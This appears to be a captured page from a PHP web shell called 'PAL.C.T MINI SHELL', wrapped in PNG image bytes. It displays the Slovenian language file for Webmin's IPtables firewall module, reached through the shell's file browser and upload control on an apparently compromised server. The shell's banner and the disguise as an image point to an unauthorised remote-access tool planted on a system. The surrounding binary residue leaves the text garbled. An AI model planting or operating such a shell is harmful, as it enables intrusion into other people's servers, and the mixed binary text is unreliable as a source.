php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/firewall/lang/
upload
files >> //usr/libexec/webmin/firewall/lang/sl.auto

index_title=Požarni zid IPTables Linux
index_title_v=IPv4 požarni zid
index_title_v6=IPv6 požarni zid
index_editing=Datoteka s pravili $1 
index_ecommand=Ukaza $1 v vašem sistemu ni bilo mogoče najti. Webmin potrebuje ta ukaz za konfiguriranje IPtables.
index_ekernel=Pri preverjanju trenutne konfiguracije IPtables se je pojavila napaka: $1 To lahko pomeni, da vaše jedro ne podpira IPtables.
index_header=Konfiguracija požarnega zidu od $1 
index_evalid=OPOZORILO! Vaša trenutna konfiguracija IPtables ni veljavna : $1 
index_change=Prikaz IPtable:
index_chain_input=Dohodni paketi (INPUT) - velja samo za pakete, naslovljene na tega gostitelja
index_chain_output=Odhodni paketi (OUTPUT) - Velja samo za pakete, ki jih je ustvaril ta gostitelj
index_chain_forward=Posredovani paketi (FORWARD) - Velja samo za pakete, ki so bili preneseni prek tega gostitelja
index_chain_prerouting=Paketi pred usmerjanjem (PREROUTING)
index_chain_postrouting=Paketi po usmerjanju (POSTROUTING)
index_chain=Veriga $1 
index_action=Ukrep
index_desc=Pogoj
index_comm=Komentar
index_no_comment=
index_move=Premakni se
index_none=Za to verigo ni nobenih pravil.
index_policy=Nastavi privzeto dejanje na:
index_policy_accept=Sprejmi
index_policy_drop=Spusti
index_policy_queue=Uporabniški prostor
index_policy_return=Izstop iz verige
index_jump_accept=<font color=#00aa00>Sprejmi</font>
index_jump_drop=<font color=#ff0000>Spustite</font>
index_jump_reject=<font color=#ff4400>Zavrni</font>
index_jump_queue=<font color=#0000ff>Uporabniški prostor</font>
index_jump_return=Izstop iz verige
index_jump_log=Dnevnik paket
index_jump_masquerade=Maskarada
index_jump_redirect=Preusmeritev
index_jump_dnat=Destinacija NAT
index_jump_snat=Vir NAT
index_jump_=Delati nič
index_jump=Skoči na verigo $1 
index_radd=Dodajte pravilo
index_cdelete=Izbriši verigo
index_crename=Preimenujte verigo
index_cclear=Počisti vsa pravila
index_cdeletesel=Izbriši izbrano
index_cmovesel=Premakni izbrano
index_cadd=Dodajte novo verigo z imenom:
index_apply=Uporabi konfiguracijo
index_applydesc=Kliknite ta gumb, da aktivirate zgoraj navedeno konfiguracijo požarnega zidu. Vsa pravila o požarnem zidu, ki trenutno veljajo, se sprožijo in nadomestijo
index_applydesc2=Kliknite ta gumb, če želite, da je zgoraj navedena konfiguracija požarnega zidu aktivna na vseh strežnikih v grozdu. Vsa pravila o požarnem zidu, ki trenutno veljajo, se sprožijo in nadomestijo
index_unapply=Povrni konfiguracijo
index_unapplydesc=Kliknite ta gumb, da ponastavite zgoraj navedeno konfiguracijo na trenutno aktivno.
index_unapply2=Shrani konfiguracijo
index_unapply2desc=Kliknite ta gumb, če želite zgornjo konfiguracijo shraniti v konfiguracijsko datoteko stalnega požarnega zidu.
index_table_filter=Filtriranje paketov (filter)
index_table_nat=Prevajanje omrežnega naslova (nat)
index_table_mangle=Sprememba paketov (mangle)
index_existing=Webmin je zaznal trenutno uporabljena pravila požarnega zidu $1 IPtables, ki niso zabeležena v datoteki za shranjevanje $2. Ta pravila so bila verjetno nastavljena iz skripta, ki ga ta modul ne zna brati in urejati. <p> Če želite s tem modulom upravljati požarni zid IPtables, kliknite spodnji gumb, če želite obstoječa pravila pretvoriti v shranjeno datoteko in nato onemogočite obstoječo skriptu požarnega zidu.
index_saveex=Shranite pravila požarnega zidu
index_atboot=Ali želite omogočiti požarni zid med zagonom?
index_headerex=Obstoječa konfiguracija požarnega zidu
index_bootup=Aktiviraj se ob zagonu
index_bootupdesc=Spremenite to možnost, če želite nadzirati, ali je vaš požarni zid aktiviran ob zagonu ali ne.
index_return=seznam pravil
index_setup=V vašem sistemu še ni bil nameščen požarni zid IPtables. Webmin vam lahko nastavi eno, ki jo je treba shraniti v datoteko za shranjevanje $1, pri čemer so začetne nastavitve temeljile na izbiri vrste požarnega zidu spodaj.
index_rsetup=Konfiguracija požarnega zida IPtables v vašem sistemu bo kmalu na novo nastavljena. Webmin bo postavil nova privzeta pravila, ki jih je treba shraniti v datoteko za shranjevanje $1, pri čemer bodo začetne nastavitve temeljile na izbiri vrste požarnega zidu spodaj.
index_auto0=Dovoli ves promet
index_auto1=Opravite prevajanje omrežnih naslovov na zunanji vmesnik:
index_auto2=Blokirajte vse dohodne povezave na zunanjem vmesniku:
index_auto3=Blokirajte vse, razen SSH in IDENT na zunanjem vmesniku:
index_auto4=Blokirajte vse vmesnike razen SSH, IDENT, pinga in visokih vrat:
index_auto5=V vmesniku blokirajte vse razen vrat, ki se uporabljajo za virtualno gostovanje:
index_auto=Nastavite požarni zid
index_add=Dodaj
index_shorewall=Kaže, da se Shorewall uporablja za ustvarjanje požarnega zidu vašega sistema. Mogoče bi namesto tega morali uporabiti <a href='$1'>modul požarnega zidu Shoreline</a>.
index_firewalld=Kaže, da se FirewallD uporablja za ustvarjanje požarnega zidu vašega sistema. Mogoče bi morali namesto tega uporabiti <a href='$1'>modul FirewallD</a>.
index_fail2ban=Kaže, da se Fail2Ban uporablja za upravljanje nekaterih pravil požarnega zidu. Prilagodite jih z <a href='$1'>modulom Fail2Ban</a> in filtrirajte <a href=$2>f2b -. *</a> ali <a href=$2>fail2ban -. *</a>.
index_filter_chain=požarni zid ne upravlja.
index_filter_nodirect=Zaznana so zunanja upravljana pravila. Aktivirajte "<a href=$1>Neposredno uredite pravila požarnega zidu"</a> ali se lahko pravila o požarnem zidu zlomijo.
index_reset=Ponastavite požarni zid
index_resetdesc=Kliknite ta gumb, da počistite vsa obstoječa pravila požarnega zidu in nastavite nova pravila za osnovno začetno konfiguracijo.
index_cluster=Cluster strežniki
index_clusterdesc=Kliknite ta gumb, da nastavite dodatne strežnike Webmin, na katere bo konfiguracija požarnega zidu samodejno kopirana.
index_ipset=IP-set
index_ipset_title=Aktivni IP-seti, ki jih lahko uporabljajo pravila požarnega zidu
index_ipset_name=Ime IP množice
index_ipset_type=Vtipkajte
index_ipset_elem=# Elementov
index_ipset_maxe=# Najv
index_ipset_size=Velikost
index_ipvxmode=Spremeni različico protokola IP:
index_ipvx4=IPv4
index_ipvx6=IPv6

desc_p=protokol je $1 
desc_p!=protokol ni $1 
desc_s=vir je $1 
desc_s!=vir ni $1 
desc_d=cilj je $1 
desc_d!=cilj ni $1 
desc_i=vhodni vmesnik je $1 
desc_i!=vhodni vmesnik ni $1 
desc_o=izhodni vmesnik je $1 
desc_o!=izhodni vmesnik ni $1 
desc_f=paket je fragment
desc_f!=paket ni fragment
desc_sport=izvorni vhod je $1 
desc_sport!=izvorno pristanišče ni $1 
desc_dport=ciljno pristanišče je $1 
desc_dport!=ciljno pristanišče ni $1 
desc_sports=izvorna vrata so $1 
desc_sports!=izvorna vrata niso $1 
desc_dports=ciljna vrata so $1 
desc_dports!=ciljna vrata niso $1 
desc_tcp-flags=Nastavljene so TCP zastave $2 (od $1)
desc_tcp-flags!=TCP zastavice $2 (od $1) niso nastavljene
desc_tcp-option=paket uporablja možnost TCP $1 
desc_tcp-option!=paket ne uporablja možnosti TCP $1 
desc_icmp-type=Vrsta ICMP je $1 
desc_icmp-type!=Vrsta ICMP ni $1 
desc_icmpv6-type=Vrsta ICMP je $1 
desc_icmpv6-type!=Vrsta ICMP ni $1 
desc_mac-source=ethernet naslov je $1 
desc_mac-source!=ethernet naslov ni $1 
desc_limit=stopnja je nižja od $1 
desc_limit!=stopnja je več kot $1 
desc_limit-burst=hitrost porušitve je manjša od $1 
desc_limit-burst!=hitrost porušitve je več kot $1 
desc_ports=izvorni in ciljni pristanišči sta $1 
desc_ports!=izvorna in ciljna vrata niso $1 
desc_uid-owner=pošiljatelj je uporabnik $1 
desc_uid-owner!=pošiljatelj ni uporabnik $1 
desc_gid-owner=pošiljatelj je skupina $1 
desc_gid-owner!=pošiljatelj ni skupina $1 
desc_pid-owner=ID postopka pošiljatelja je $1 
desc_pid-owner!=ID pošiljatelja procesa ni $1 
desc_sid-owner=skupina pošiljateljev seje je $1 
desc_sid-owner!=sesijska skupina pošiljatelja ni $1 
desc_state=stanje povezave je $1 
desc_state!=stanje povezave ni $1 
desc_ctstate=stanje povezave je $1 
desc_ctstate!=stanje povezave ni $1 
desc_tos=vrsta storitvenega polja je $1 
desc_tos!=vrsta storitvenega polja ni $1 
desc_match-set=$2 se ujema z IPset $1
desc_match-set!=$2 se ne ujema z IPset $1
desc_match-set_src=dohodni promet
desc_match-set_dst=odhodni promet
desc_physdev-in=vhodni fizični vmesnik je $1 
desc_physdev-in!=vhodni fizični vmesnik ni $1 
desc_physdev-out=izhodni fizični vmesnik je $1 
desc_physdev-out!=izhodni fizični vmesnik ni $1 
desc_conds=Če $1 
desc_and=in
desc_always=Nenehno
desc_args--match-set=$2 je vsebovan v IP-nizu $1 
desc_src=vir
desc_dest=cilj

redhat_einstalled=Ni najdeno zagonskega dejanja <tt>iptables (6)</tt>, kar pomeni, da paket IPtables ni nameščen v vašem sistemu
redhat_eoutput=Pri pridobivanju statusa IPtables iz ukaza $1 se je pojavila napaka. To verjetno kaže, da je bil vaš sistem konfiguriran tako, da uporablja IPchains namesto IPtables.

gentoo_escript=Začetnega skripta Gentoo IPtables $1 v vašem sistemu ni bilo mogoče najti.

eiptables=Neznani IPtables shranijo vrstico datoteke : $1 
eip6tables=Neznani ip6tables shrani vrstico datoteke : $1 

edit_title1=Dodajte pravilo
edit_title2=Uredi pravilo
edit_title3=Pravilo klona
edit_header1=Podrobnosti o verigi in dejanju
edit_chain=Del verige
edit_cmt=Komentar pravila
edit_jump=Ukrep, ki ga je treba izvesti
edit_jump_other=Zaženi verigo
edit_header2=Podrobnosti o stanju
edit_desc=Zgornje dejanje se izvede samo, če so izpolnjeni <b>vsi</b> spodaj navedeni pogoji.
edit_source=Naslov vira ali omrežje
edit_ignore=Ignorirano
edit_is=Enako
edit_not=Ne ustreza
edit_dest=Namembni naslov ali omrežje
edit_in=Vhodni vmesnik
edit_out=Odhodni vmesnik
edit_frag=Razdrobljenost
edit_fragis=Je razdrobljen
edit_fragnot=Ni razdrobljen
edit_proto=Omrežni protokol
edit_sport=Izvor TCP ali UDP vrata
edit_dport=Destinacijski TCP ali UDP vrata
edit_port0=Pristanišča
edit_port1=Obseg vrat $1 do $2 
edit_ports=Vir in ciljna pristanišča
edit_tcpflags=Nastavite TCP zastave
edit_flags=$2 od $1 
edit_tcpoption=Nastavljena je številka možnosti TCP
edit_icmptype=Vrsta paketa ICMP
edit_mac=Ethernet naslov
edit_limit=Paketni pretok
edit_below=Spodaj
edit_above=Nad
edit_limitburst=Hitrost porušitve paketov
edit_uidowner=Pošiljanje uporabnika unix
edit_gidowner=Pošiljanje unix skupine
edit_pidowner=ID procesa pošiljanja
edit_sidowner=Pošiljanje procesne skupine
edit_state=Stanja povezave
edit_state_new=Nova povezava
edit_state_established=Obstoječa povezava
edit_state_related=Povezani z obstoječimi
edit_state_invalid=Ni del nobene povezave
edit_state_untracked=Ni gosenic
edit_state_snat=Vir NATd
edit_state_dnat=Destinacija NATd
edit_tos=Vrsta storitve
edit_rtoports=Ciljna vrata za preusmeritev
edit_prange=Obseg vrat $1 do $2 
edit_mtoports=Izvorna vrata za maskiranje
edit_dnat=IP-ji in vrata za DNAT
edit_dnatip=Obseg IP $1 do $2 
edit_snat=IP-ji in vrata za SNAT
edit_any=Kaj
edit_oifc=Drugo ..
edit_clone=Pravilo kloniranja
edit_before=Pred pravilom $1 
edit_after=Po pravilu $1 
edit_args=Dodatni parametri
edit_mods=Dodatni moduli IPtables
edit_rwith=Zavrni z vrsto ICMP
edit_rwithtype=Vnesite $1 
edit_physdevin=Vhodni fizični vmesnik
edit_physdevout=Fizični vmesnik
edit_physdevisin=Paket, ki prihaja na mostni vmesnik
edit_physdevisout=Paket odhodni na mostni vmesnik
edit_physdevisbridged=Paket se premošča
edit_matchset=Ujemanje IPset
edit_matchsetsrc=o dohodnem prometu
edit_matchsetdst=na odhodnem prometu

save_err=Pravila ni bilo mogoče shraniti
save_echain=Manjkajoča ali neveljavna veriga za zagon
save_esource=Manjkajoči ali neveljaven izvorni naslov ali omrežje
save_edest=Manjkajoč ali neveljaven ciljni naslov ali omrežje
save_ein=Manjkajoči ali neveljaven dohodni vmesnik
save_eout=Manjkajoči ali neveljaven odhodni vmesnik
save_eproto=Ni izbran noben protokol
save_esport=Manjkajoča ali neveljavna izvorna vrata
save_esportfrom=Neveljaven začetek obsega za izvorna vrata
save_esportto=Neveljaven konec območja za izvorna vrata
save_esportrange=Za obseg izvornih vrat morate vnesti vsaj začetek ali konec
save_etcpudp=Pogoje izhodnih in ciljnih vrat je mogoče uporabiti samo, če so protokol TCP, UDP ali SCTP
save_edport=Manjkajoča ali neveljavna ciljna vrata
save_edportfrom=Neveljaven začetek obsega za ciljna vrata
save_edportto=Neveljaven konec obsega ciljnih vrat
save_edportrange=Za območje ciljnih vrat morate vnesti vsaj začetek ali konec
save_eports=Manjkajoči ali neveljavni izvor in ciljna vrata
save_etcp1=Pogoj TCP zastave je mogoče uporabiti le, če je protokol TCP
save_etcpflags=Iz vsake vrstice morate izbrati vsaj eno zastavo TCP
save_etcpflags2=Iz druge vrstice morate izbrati vsaj eno zastavo TCP
save_etcp2=Pogoj številke možnosti TCP je mogoče uporabiti le, če je protokol TCP
save_etcpoption=Manjkajoča ali neveljavna številka TCP možnosti
save_eicmp=Pogoj vrste paketov ICMP je mogoče uporabiti le, če je protokol ICMP
save_emac=Manjkajoči ali neveljaven ethernet naslov
save_elimit=Manjkajoča ali neveljavna hitrost pretoka paketa
save_elimitburst=Manjkajoča ali neveljavna hitrost porušitve paketov
save_euidowner=Manjkajoči ali neveljavni uporabnik unix pošiljanja
save_egidowner=Manjkajoče ali neveljavno pošiljanje unix skupine
save_epidowner=Manjka ali neveljaven ID procesa pošiljanja
save_esidowner=Manjkajoči ali neveljavni ID skupine procesnega pošiljanja
save_ertoports=Manjkajoča ali neveljavna ciljna vrata za preusmeritev
save_emtoports=Manjkajoče ali neveljavno pristanišče za zamaskiranje
save_edipfrom=Manjkajoč ali neveljaven začetni IP naslov za DNAT
save_edipto=Neveljaven končni IP naslov za DNAT
save_edpfrom=Neveljavna začetna vrata za DNAT
save_edpto=Manjkajoča ali neveljavna končna vrata za DNAT
save_esipfrom=Manjkajoči ali neveljaven začetni IP naslov za SNAT
save_esipto=Neveljaven končni IP naslov za SNAT
save_espfrom=Neveljavna začetna vrata za SNAT
save_espto=Manjkajoča ali neveljavna končna vrata za SNAT
save_estates=Ni izbranih stanj povezave
save_ecanjump=Tega dejanja vam ni dovoljeno uporabljati
save_ephysdevin=Manjkajoči ali neveljaven dohodni fizični vmesnik
save_ephysdevout=Manjkajoči ali neveljaven odhodni fizični vmesnik

delete_title=Izbriši verigo
delete_rusure=Ali ste prepričani, da želite izbrisati verigo $1 ? $2 pravila znotraj njega bodo izbrisana.
delete_ok=Izbriši zdaj
delete_ecannot=Ne smete brisati verig

clear_title=Bistra veriga
clear_rusure=Ali ste prepričani, da želite izbrisati vsa pravila $2 iz verige $1 ?
clear_ecannot=Ne smete čistiti verig

new_err=Verige ni bilo mogoče ustvariti
new_ename=Manjkajoče ali neveljavno ime verige
new_etaken=Veriga s tem imenom že obstaja
new_ecannot=Ni vam dovoljeno ustvarjati verig

apply_err=Konfiguracije ni bilo mogoče uporabiti
apply_ecannot=Konfiguracije ne morete uporabiti
apply_remote=Napaka od $1 : $2 
unapply_err=Konfiguracije ni bilo mogoče povrniti
unapply_ecannot=Konfiguracije ne morete povrniti
bootup_ecannot=Požarni zid ne morete omogočiti ali onemogočiti ob zagonu

log_create_rule=Dodano pravilo za verigo $1 v tabeli $2 
log_modify_rule=Spremenjeno pravilo v verigi $1 v tabeli $2 
log_delete_rule=Izbrisano pravilo v verigi $1 v tabeli $2 
log_move_rule=Premaknjeno pravilo v verigi $1 v tabeli $2 
log_delete_chain=Izbrisana veriga $1 iz tabele $2 
log_rename_chain=Preimenovana veriga $1 v tabeli $2 
log_clear_chain=Očiščena veriga $1 v tabeli $2 
log_create_chain=Ustvarjena veriga $1 v tabeli $2 
log_modify_chain=Nastavite privzeto dejanje za verigo $1 v tabeli $2 
log_delsel_chain=Izbrisana so pravila $3 iz verige $1 v tabeli $2 
log_movesel_chain=Premaknjena $3 pravila iz verige $1 v tabeli $2 
log_apply=Uporabljena konfiguracija
log_unapply=Obrnjena konfiguracija
log_setup=Nastavite požarni zid
log_convert=Pretvori obstoječi požarni zid
log_bootup=Požarni zid je omogočen ob zagonu
log_bootdown=Onemogočen požarni zid ob zagonu
log_add_host=Dodan je grozdni strežnik $1 
log_add_group=Dodani strežniki grozdov iz skupine $1 
log_delete_host=Odstranjen je strežnik gruče $1 
log_delete_group=Odstranjeni so strežniki grozdov $1 
log_openports=Odprta vrata požarnega zidu $1 

setup_eiface=Noben zunanji omrežni vmesnik ni vnesen
setup_ecannot=Požarni zid ne morete nastaviti

acl_tables=Dovoljeni IPtables
acl_apply=Ali lahko uporabite konfiguracijo?
acl_unapply=Ali ne morete uporabiti konfiguracije?
acl_bootup=Ali lahko požarni zid omogočite ob zagonu?
acl_setup=Ali lahko izvede začetno namestitev požarnega zidu?
acl_cluster=Ali lahko upravljate grozdišče grozda?
acl_jumps=Dovoljena dejanja
acl_jall=Vse
acl_newchain=Ali lahko ustvarite nove verige?
acl_delchain=Ali lahko verige izbrišete ali počistite?
acl_policy=Ali lahko spremenite privzeti pravilnik?

etable=Tega protokola IPtable ne smete urejati
ejump=Tega pravila ni dovoljeno urejati
ecluster=Ne smete upravljati grozdne plošče

cluster_title=Strežniki požarnega zidu gruč
cluster_none=V grozdišče požarnega zidu še ni bil dodan noben strežnik.
cluster_host=Ime gostitelja
cluster_desc=Opis
cluster_os=Operacijski sistem
cluster_add=Dodaj strežnik
cluster_gadd=Dodajte strežnike v skupino
cluster_need=Preden lahko tukaj upravljate, morate v modul Webmin Servers Index dodati strežnike z prijavo in geslom.
cluster_return=grozdni strežniki
cluster_delete=Odstrani izbrano

add_title=Dodaj strežnike
add_msg=Dodajanje $1.
add_gmsg=Dodajanje strežnikov v skupino $1.
add_err=Ni bilo mogoče dodati strežnika
add_gerr=Skupine ni bilo mogoče dodati
add_echeck=Server $1 nima modula požarnega zidu Linux
add_emissing=Strežniku $1 manjka ukaz požarnega zidu $2 
add_ok=Dodano je $1 s pravili $2 aktivnega požarnega zidu.
add_enone=Ni izbranih strežnikov!

policy_ecannot=Za to verigo vam ni dovoljeno spreminjati privzetega pravilnika

move_title=Pravila premikanja
move_count=Izbrana pravila
move_chain=Trenutna sprememba
move_dest=Namenska veriga
move_ok=Premakni se zdaj
move_header=Možnosti premikanja pravila

rename_title=Preimenujte verigo
rename_count=Pravila v verigi
rename_chain=Trenutno ime
rename_name=Novo ime
rename_ok=Preimenujte zdaj
rename_header=Možnosti preimenovanja verige
rename_adjust=Ali spremenite druga pravila, ki skočijo na to verigo?
rename_none=Noben
rename_ecannot=Ne morete preimenovati verig
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`